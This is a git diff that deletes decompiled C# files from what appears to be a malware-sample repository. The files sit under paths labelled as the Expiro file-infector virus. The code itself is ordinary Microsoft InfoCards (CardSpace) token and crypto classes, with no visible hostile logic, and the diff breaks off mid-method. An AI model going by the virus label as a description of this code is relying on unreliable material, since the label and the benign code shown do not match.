C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class RemoteCryptoSignHashRequest : RpcCryptoRequest - { - private byte[] m_signature; - private byte[] m_hash; - private int m_hashType; - private int m_flags; - - public RemoteCryptoSignHashRequest( - RpcCryptoContext context, - int hashType, - int flags, - byte[] hash) - : base(context) - { - this.m_hash = hash; - this.m_hashType = hashType; - this.m_flags = flags; - } - - public override string Name => "RpcCryptoSignHashRequest"; - - public byte[] GetSignature() => this.m_signature; - - protected override void MarshalOutArgs(Stream stream) - { - BinaryWriter binaryWriter = new BinaryWriter(stream); - binaryWriter.Write(this.m_hashType); - binaryWriter.Write(this.m_flags); - binaryWriter.Write(this.m_hash.Length); - binaryWriter.Write(this.m_hash, 0, this.m_hash.Length); - } - - protected override void MarshalReturnArgs(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_signature = binaryReader.ReadBytes(binaryReader.ReadInt32()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs deleted file mode 100644 index 5f3cb608..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoTokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal sealed class RemoteCryptoTokenProvider : SecurityTokenProvider, IDisposable - { - private RemoteX509Token m_token; - private X509Certificate2 m_certificate; - private object m_sync; - - public RemoteCryptoTokenProvider(X509Certificate2 cert) - { - this.m_sync = new object(); - this.m_certificate = cert; - } - - public void Dispose() - { - IDisposable token = (IDisposable) this.m_token; - if (token == null) - return; - token.Dispose(); - this.m_token = (RemoteX509Token) null; - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) => (SecurityToken) this.InnerGetToken(); - - private X509SecurityToken InnerGetToken() - { - if (this.m_token == null) - { - lock (this.m_sync) - { - if (this.m_token == null) - this.m_token = new RemoteX509Token(this.m_certificate); - } - } - return (X509SecurityToken) this.m_token; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteTokenFactory.cs deleted file mode 100644 index 11f7496c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteTokenFactory.cs +++ /dev/null @@ -1,546 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Claims; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Net; -using System.Net.Security; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Cryptography.Xml; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RemoteTokenFactory : TokenFactoryBase - { - internal const string MetadataExchangeClientKey = "MetadataExchangeClientKey"; - private ServiceEndpoint m_endPoint; - private ChannelFactory m_channelFactory; - private object m_channelChangeSync; - private IWebProxy m_proxy; - private ProtocolProfile m_protocolProfile; - private Dictionary m_disclosedClaims; - - public RemoteTokenFactory(ServiceEndpoint endPoint, IWebProxy proxy) - { - this.m_endPoint = endPoint; - this.m_channelChangeSync = new object(); - this.m_proxy = proxy; - } - - protected override TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter parameter, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == parameter, nameof (parameter)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == credential, nameof (credential)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - RSACryptoServiceProvider key = (RSACryptoServiceProvider) null; - byte[] numArray = (byte[]) null; - SymmetricAlgorithm symmetricProof = (SymmetricAlgorithm) null; - RSAKeyValue val = (RSAKeyValue) null; - string internalTokenReference = string.Empty; - string externalTokenReference = string.Empty; - GenericXmlSecurityToken tok = (GenericXmlSecurityToken) null; - this.m_protocolProfile = policy.ProtocolVersionProfile; - bool flag1 = false; - RSATokenProvider rsaTokenProvider = (RSATokenProvider) null; - TokenDescriptor tokenDescriptor; - try - { - if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - key = card.GetPublicCryptography(policy.Recipient.GetIdentifier()); - flag1 = true; - InfoCardTrace.Assert(null == numArray, "Null in in asymmetric case"); - } - else if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - numArray = new byte[(IntPtr) (policy.GetIntelligentKeySize(false) / 8U)]; - new RNGCryptoServiceProvider().GetNonZeroBytes(numArray); - InfoCardTrace.Assert(null == key, "Null in symmetric case"); - } - else - { - InfoCardTrace.Assert(null == key, "Null in no proof key case"); - InfoCardTrace.Assert(null == numArray, "Null in no proof key case"); - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Null in no proof key case"); - } - if (this.m_endPoint == null) - this.m_endPoint = RemoteTokenFactory.DoMexExchange(parameter, this.m_proxy); - BindingElementCollection bindingElements = this.m_endPoint.Binding.CreateBindingElements(); - SecurityBindingElement securityBindingElement = bindingElements.Find(); - if (securityBindingElement == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) this.m_endPoint.Address.Uri))); - this.m_protocolProfile.WSTrust = securityBindingElement.MessageSecurityVersion.TrustVersion != TrustVersion.WSTrust13 ? (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance : (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - Binding binding1 = this.m_endPoint.Binding; - EndpointAddress address = this.m_endPoint.Address; - if (flag1) - { - SupportingTokenParameters supportingTokenParameters; - if (securityBindingElement.OptionalOperationSupportingTokenParameters.ContainsKey(this.m_protocolProfile.WSTrust.RequestSecurityTokenAction)) - { - supportingTokenParameters = securityBindingElement.OptionalOperationSupportingTokenParameters[this.m_protocolProfile.WSTrust.RequestSecurityTokenAction]; - } - else - { - supportingTokenParameters = new SupportingTokenParameters(); - securityBindingElement.OptionalOperationSupportingTokenParameters[this.m_protocolProfile.WSTrust.RequestSecurityTokenAction] = supportingTokenParameters; - } - bool flag2 = true; - foreach (SecurityTokenParameters securityTokenParameters in supportingTokenParameters.Endorsing) - { - if (securityTokenParameters is RsaSecurityTokenParameters) - { - flag2 = false; - break; - } - } - if (flag2) - { - RsaSecurityTokenParameters securityTokenParameters = new RsaSecurityTokenParameters(); - securityTokenParameters.InclusionMode = SecurityTokenInclusionMode.Never; - securityTokenParameters.RequireDerivedKeys = false; - supportingTokenParameters.Endorsing.Add((SecurityTokenParameters) securityTokenParameters); - } - binding1 = (Binding) new CustomBinding(bindingElements); - } - Binding binding2 = (Binding) new CustomBinding(Utility.UpdateProxyForHttpAndRestrictTransportBinding(binding1.CreateBindingElements(), this.m_proxy, false)); - InfoCardServiceClientCredentials clientCredentials1 = new InfoCardServiceClientCredentials(credential, this.m_protocolProfile); - if (flag1) - { - rsaTokenProvider = new RSATokenProvider(policy, card); - clientCredentials1.EndorsingSignatureTokenProvider = rsaTokenProvider; - } - ChannelFactory channelFactory = (ChannelFactory) null; - bool flag3 = false; - List disclosedClaims; - DisplayToken displayToken; - try - { - InfoCardTrace.Assert(!flag3, "Will set to true upon sucess"); - lock (this.m_channelChangeSync) - { - if (this.IsAborted) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - channelFactory = new ChannelFactory(binding2, address); - clientCredentials1.Windows.AllowNtlm = false; - ClientCredentials clientCredentials2 = channelFactory.Endpoint.Behaviors.Find(); - if (clientCredentials2 != null) - channelFactory.Endpoint.Behaviors.Remove((IEndpointBehavior) clientCredentials2); - channelFactory.Endpoint.Behaviors.Remove(); - channelFactory.Endpoint.Behaviors.Add((IEndpointBehavior) clientCredentials1); - X509Certificate2Collection certificate2Collection = (X509Certificate2Collection) null; - bool chainTrustPassed = false; - switch (parameter.CredentialType) - { - case TokenFactoryCredentialType.UserNamePasswordCredential: - clientCredentials1.UserName.UserName = ((UserNameTokenFactoryCredential) credential).UserName; - clientCredentials1.UserName.Password = ((UserNameTokenFactoryCredential) credential).Password; - certificate2Collection = this.GetCertificateChainFromAddress(address); - InfoCardX509Validator.ValidateChainOrPeer(certificate2Collection[0], certificate2Collection, out chainTrustPassed); - clientCredentials1.ServiceCertificate.DefaultCertificate = certificate2Collection[0]; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.SelfIssuedCredential: - clientCredentials1.IsSelfIssuedCred = true; - SelfIssuedTokenFactoryCredential factoryCredential = (SelfIssuedTokenFactoryCredential) credential; - clientCredentials1.SelectedCard = factoryCredential.LocalCard; - certificate2Collection = this.GetCertificateChainFromAddress(address); - X509Certificate2 x509Certificate2 = certificate2Collection[0]; - InfoCardX509Validator.ValidateChainOrPeer(x509Certificate2, certificate2Collection, out chainTrustPassed); - Recipient.RecipientCertParameters recipientParams; - string recipientIdHash = Recipient.CertGetRecipientIdHash(x509Certificate2, certificate2Collection, chainTrustPassed, out recipientParams); - string organizationIdHash = Recipient.CertGetRecipientOrganizationIdHash(x509Certificate2, certificate2Collection, chainTrustPassed); - this.EnsureSelfIssuedCardHasLedgerEntryForIssuer(factoryCredential.LocalCard, x509Certificate2, recipientIdHash, organizationIdHash, recipientParams, organizationIdHash); - clientCredentials1.ServiceCertificate.DefaultCertificate = x509Certificate2; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.X509CertificateCredential: - clientCredentials1.ClientCertificate.Certificate = ((X509CertificateTokenFactoryCredential) credential).Certificate; - certificate2Collection = this.GetCertificateChainFromAddress(address); - InfoCardX509Validator.ValidateChainOrPeer(certificate2Collection[0], certificate2Collection, out chainTrustPassed); - clientCredentials1.ServiceCertificate.DefaultCertificate = certificate2Collection[0]; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.KerberosCredential: - clientCredentials1.ServiceCertificate.Authentication.CertificateValidationMode = X509CertificateValidationMode.Custom; - clientCredentials1.ServiceCertificate.Authentication.CustomCertificateValidator = InfoCardX509Validator.Create(certificate2Collection); - this.m_channelFactory = channelFactory; - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - goto case TokenFactoryCredentialType.KerberosCredential; - } - } - try - { - RemoteTokenFactory.ISts channel = channelFactory.CreateChannel(); - if (key != null) - val = new RSAKeyValue((RSA) key); - this.m_disclosedClaims = card.GetClaimsToBeDisclosed(policy, discloseOptional); - disclosedClaims = new List(this.m_disclosedClaims.Count); - disclosedClaims.AddRange((IEnumerable) this.m_disclosedClaims.Keys); - RequestSecurityToken rst = this.CreateRst(binding2.MessageVersion.Addressing, policy, card, discloseOptional, val, numArray, new CultureInfo(credential.LCID)); - Message message1 = Message.CreateMessage(binding2.MessageVersion, this.m_protocolProfile.WSTrust.RequestSecurityTokenAction, (BodyWriter) rst); - Message message2 = (Message) null; - if (XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.m_protocolProfile.WSTrust.Version) - message2 = channel.ProcessRequestSecurityTokenFeb2005(message1); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.m_protocolProfile.WSTrust.Version) - message2 = channel.ProcessRequestSecurityTokenWSTrust13(message1); - else - InfoCardTrace.Assert(false, "Unsupported version of WS-Trust detected"); - WSIdentityFaultException.ThrowIfFaultMessage(message2, CultureInfo.GetCultureInfo(credential.LCID)); - if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - tok = RequestSecurityTokenResponseHelper.ProcessSymmetricTokenData(message2.GetReaderAtBodyContents(), (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, numArray, this.m_protocolProfile, out displayToken); - if (tok.ProofToken.SecurityKeys.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoSymmetricKeyFound"))); - foreach (SecurityKey securityKey in tok.ProofToken.SecurityKeys) - { - if (securityKey is InMemorySymmetricSecurityKey) - { - symmetricProof = (SymmetricAlgorithm) new RijndaelManaged(); - symmetricProof.Key = ((SymmetricSecurityKey) securityKey).GetSymmetricKey(); - break; - } - } - if (symmetricProof == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoSymmetricKeyFound"))); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - tok = RequestSecurityTokenResponseHelper.ProcessAsymmetricTokenData(message2.GetReaderAtBodyContents(), (RSA) key, (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, this.m_protocolProfile, out displayToken); - } - else - { - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Bad enum member for SecurityKeyTypeInternal"); - tok = RequestSecurityTokenResponseHelper.ProcessBearerTokenData(message2.GetReaderAtBodyContents(), (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, this.m_protocolProfile, out displayToken); - } - channelFactory.Close(); - flag3 = true; - } - finally - { - lock (this.m_channelChangeSync) - { - if (!flag3) - channelFactory.Abort(); - this.m_channelFactory = (ChannelFactory) null; - } - } - } - catch (EndpointNotFoundException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"), (Exception) ex)); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ProblemRetrievingTokenFromIdentityProvider"), ex)); - throw; - } - XmlElement xmlElement = tok.TokenXml; - if (policy.ImmediateTokenRecipient is X509RecipientIdentity immediateTokenRecipient && !this.IsEncryptedXml(xmlElement)) - { - if (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(policy, card.RequireAppliesto) == AppliesToBehaviorDecision.DoNotSend) - { - try - { - string asymmetricKeyWrapAlgorithm = policy.KeyType != SecurityKeyTypeInternal.SymmetricKey ? (SecurityKeyTypeInternal.AsymmetricKey != policy.KeyType ? SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm : (!string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? policy.OptionalRstParams.EncryptWith : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - xmlElement = EncryptionUtility.EncryptSecurityToken(xmlElement, immediateTokenRecipient.LeafCertificate, !string.IsNullOrEmpty(policy.OptionalRstParams.EncryptionAlgorithm) ? policy.OptionalRstParams.EncryptionAlgorithm : SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm, asymmetricKeyWrapAlgorithm, policy.ProtocolVersionProfile); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException("ServiceTokenEncryptionFailed", ex)); - throw; - } - } - } - this.GetKeyIdentifierClauses(tok, policy.ProtocolVersionProfile, out internalTokenReference, out externalTokenReference); - this.FillOutDisplayToken(card, displayToken); - tokenDescriptor = new TokenDescriptor(tok.Id, tok.ValidFrom, tok.ValidTo, xmlElement, displayToken, symmetricProof, internalTokenReference, externalTokenReference, (IEnumerable) disclosedClaims); - symmetricProof = (SymmetricAlgorithm) null; - } - finally - { - key?.Dispose(); - if (val != null) - { - val.Key.Dispose(); - val.Key = (RSA) null; - } - symmetricProof?.Dispose(); - rsaTokenProvider?.Dispose(); - } - return tokenDescriptor; - } - - protected override void OnAbort() - { - lock (this.m_channelChangeSync) - { - if (this.IsAborted || this.m_channelFactory == null) - return; - this.m_channelFactory.Abort(); - } - } - - private X509Certificate2Collection GetCertificateChainFromAddress( - EndpointAddress address) - { - if ((EndpointAddress) null == address || address.Identity == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoCertificateInEndPoint"))); - if (!(address.Identity is X509CertificateEndpointIdentity identity) || identity.Certificates == null || identity.Certificates.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoCertificateInEndPoint"))); - return identity.Certificates; - } - - public static ServiceEndpoint DoMexExchange( - TokenCreationParameter param, - IWebProxy proxy) - { - ServiceEndpoint endPoint = (ServiceEndpoint) null; - bool flag = false; - EndpointAddress address = param != null && !((EndpointAddress) null == param.Epr) ? Utility.DeriveMexAddress(param.Epr) : throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - if ((EndpointAddress) null == address) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - InfoCardMetadataExchangeClient metadataExchangeClient = new InfoCardMetadataExchangeClient(); - metadataExchangeClient.Proxy = proxy; - MetadataSet metadata = (MetadataSet) null; - metadataExchangeClient.ResolveMetadataReferences = true; - metadataExchangeClient.MaximumResolvedReferences = InfoCardConstants.MaximumMexChainLength; - Exception inner = (Exception) null; - try - { - metadata = metadataExchangeClient.GetMetadata(address); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - if (!flag) - { - try - { - metadata = metadataExchangeClient.GetMetadata(address.Uri, MetadataExchangeClientMode.HttpGet); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - inner = ex; - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"), inner)); - WsdlImporter wsdlImporter = new WsdlImporter(metadata); - wsdlImporter.State.Add((object) "MetadataExchangeClientKey", (object) metadataExchangeClient); - ServiceEndpointCollection endpointCollection = wsdlImporter.ImportAllEndpoints(); - if (endpointCollection != null) - { - foreach (ServiceEndpoint serviceEndpoint in (Collection) endpointCollection) - { - if (Utility.CompareUri(serviceEndpoint.Address.Uri, param.Epr.Uri)) - { - ISecurityCapabilities property = serviceEndpoint.Binding.GetProperty(new BindingParameterCollection()); - if (property != null && property.SupportedRequestProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportedResponseProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportsServerAuthentication) - { - endPoint = serviceEndpoint; - break; - } - } - } - if (endPoint == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) param.Epr.Uri.AbsoluteUri))); - RemoteTokenFactory.ValidateEndpointAddressIdentityFromMex(endPoint); - return endPoint; - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) param.Epr.Uri.AbsoluteUri))); - } - - private static void ValidateEndpointAddressIdentityFromMex(ServiceEndpoint endPoint) - { - EndpointIdentity identity = endPoint.Address.Identity; - Uri uri = endPoint.Address.Uri; - if (identity != null && identity.IdentityClaim != null && identity.IdentityClaim.ClaimType != null && ClaimTypes.Dns != identity.IdentityClaim.ClaimType && ClaimTypes.Spn != identity.IdentityClaim.ClaimType && ClaimTypes.Thumbprint != identity.IdentityClaim.ClaimType) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) endPoint.Address.Uri))); - if (identity == null || identity.IdentityClaim == null || identity.IdentityClaim.ClaimType == null) - return; - if (ClaimTypes.Dns == identity.IdentityClaim.ClaimType) - { - if (!NativeMcppMethods.DnsNameCompareWrapper(identity.IdentityClaim.Resource.ToString(), uri.DnsSafeHost)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) endPoint.Address.Uri))); - } - else if (ClaimTypes.Spn == identity.IdentityClaim.ClaimType) - { - string str = identity.IdentityClaim.Resource.ToString(); - if (!string.Format((IFormatProvider) CultureInfo.InvariantCulture, "host/{0}", new object[1] - { - (object) uri.DnsSafeHost - }).Equals(str, StringComparison.OrdinalIgnoreCase)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) endPoint.Address.Uri))); - } - else - InfoCardTrace.Assert(ClaimTypes.Thumbprint == identity.IdentityClaim.ClaimType, "Should be Thumbprint"); - } - - private RequestSecurityToken CreateRst( - AddressingVersion version, - InfoCardPolicy policy, - InfoCard card, - bool discloseOptional, - RSAKeyValue val, - byte[] clientEntropyForSymmetric, - CultureInfo displayCulture) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - return (RequestSecurityToken) new RequestSecurityTokenForRemoteTokenFactory(new RequestSecurityTokenParameters(version, card, policy, discloseOptional, val, this.m_disclosedClaims, "ProcessRequestSecurityToken", clientEntropyForSymmetric, displayCulture)); - } - - private void GetKeyIdentifierClauses( - GenericXmlSecurityToken tok, - ProtocolProfile profile, - out string internalTokenReference, - out string externalTokenReference) - { - if (tok.InternalTokenReference != null) - { - if (tok.ExternalTokenReference != null) - { - try - { - using (StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture)) - { - profile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), tok.InternalTokenReference); - w.Flush(); - internalTokenReference = w.GetStringBuilder().ToString(); - } - using (StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture)) - { - profile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), tok.ExternalTokenReference); - w.Flush(); - externalTokenReference = w.GetStringBuilder().ToString(); - return; - } - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IPSTSClientInvalidTokenReference"), (Exception) ex)); - } - } - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IPSTSClientInvalidTokenReference"))); - } - - private void EnsureSelfIssuedCardHasLedgerEntryForIssuer( - InfoCard card, - X509Certificate2 issuerCert, - string recipientId, - string recipientOrgId, - Recipient.RecipientCertParameters recipientParams, - string immediateTokenRecipientOrganizationIdentifier) - { - LedgerEntryCollection ledger = card.GetLedger(); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - ledger.Get(connection); - if (!ledger.ContainsKey(recipientId)) - { - connection.BeginTransaction(); - try - { - InfoCardMasterKey masterKey = card.GetMasterKey(connection); - if (card.IsPinProtected) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(card.Pin), "Should not be null here"); - masterKey.Decrypt(masterKey.GetPinHelper(card.Pin)); - } - Recipient recipient = new Recipient(issuerCert, recipientId, recipientOrgId, false, 0U, recipientParams); - recipient.Save(connection); - LedgerEntry entry = LedgerEntry.NewLedgerEntry(card.Id, recipient, card.Key, immediateTokenRecipientOrganizationIdentifier); - ledger.Add(entry); - entry.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - else - InfoCardTrace.Assert(immediateTokenRecipientOrganizationIdentifier == recipientOrgId, "For the self issued case the RP should be same as token recipient"); - } - finally - { - connection.Close(); - } - } - - private void FillOutDisplayToken(InfoCard card, DisplayToken displayToken) - { - if (displayToken.ClaimList == null) - return; - InfoCardClaimCollection claims = card.GetClaims(); - foreach (DisplayClaim claim in displayToken.ClaimList) - { - if (string.IsNullOrEmpty(claim.Name)) - { - string str = (string) null; - string id = claim.Id; - if (!string.IsNullOrEmpty(claim.Id)) - { - if (claims.ContainsKey(id)) - str = claims[id].DisplayTag; - if (string.IsNullOrEmpty(str)) - str = id; - } - else - str = SR.GetString("ServiceDisplayTokenNoClaimName"); - claim.Name = str; - } - } - } - - private bool IsEncryptedXml(XmlElement content) => "EncryptedData" == content.LocalName && "http://www.w3.org/2001/04/xmlenc#" == content.NamespaceURI; - - [ServiceContract(Name = "RequestBrowserToken", Namespace = "http://schemas.xmlsoap.org/ws/2005/05/identity")] - internal interface ISts - { - [OperationContract(Action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue", Name = "ProcessRequestSecurityTokenFeb2005", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue")] - Message ProcessRequestSecurityTokenFeb2005(Message rstMessage); - - [OperationContract(Action = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue", Name = "ProcessRequestSecurityTokenWSTrust13", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal")] - Message ProcessRequestSecurityTokenWSTrust13(Message rstMessage); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs deleted file mode 100644 index 5a36e4d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteX509AsymmetricSecurityKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class RemoteX509AsymmetricSecurityKey : X509AsymmetricSecurityKey, IDisposable - { - private X509Certificate2 m_cert; - private object m_sync; - private bool m_disposed; - - public RemoteX509AsymmetricSecurityKey(X509Certificate2 cert) - : base(cert) - { - this.m_cert = cert; - if (!(this.m_cert.PrivateKey is RemoteCryptoRsaServiceProvider)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - this.m_sync = new object(); - } - - public override AsymmetricAlgorithm GetAsymmetricAlgorithm( - string algorithmUri, - bool privateKey) - { - return this.IsSupportedAlgorithm(algorithmUri) ? base.GetAsymmetricAlgorithm(algorithmUri, privateKey) : throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override AsymmetricSignatureDeformatter GetSignatureDeformatter( - string algorithmUri) - { - return this.IsSupportedAlgorithm(algorithmUri) ? base.GetSignatureDeformatter(algorithmUri) : throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override AsymmetricSignatureFormatter GetSignatureFormatter( - string algorithmUri) - { - if (!this.IsSupportedAlgorithm(algorithmUri)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - RemoteAsymmetricSignatureFormatter signatureFormatter = new RemoteAsymmetricSignatureFormatter(); - 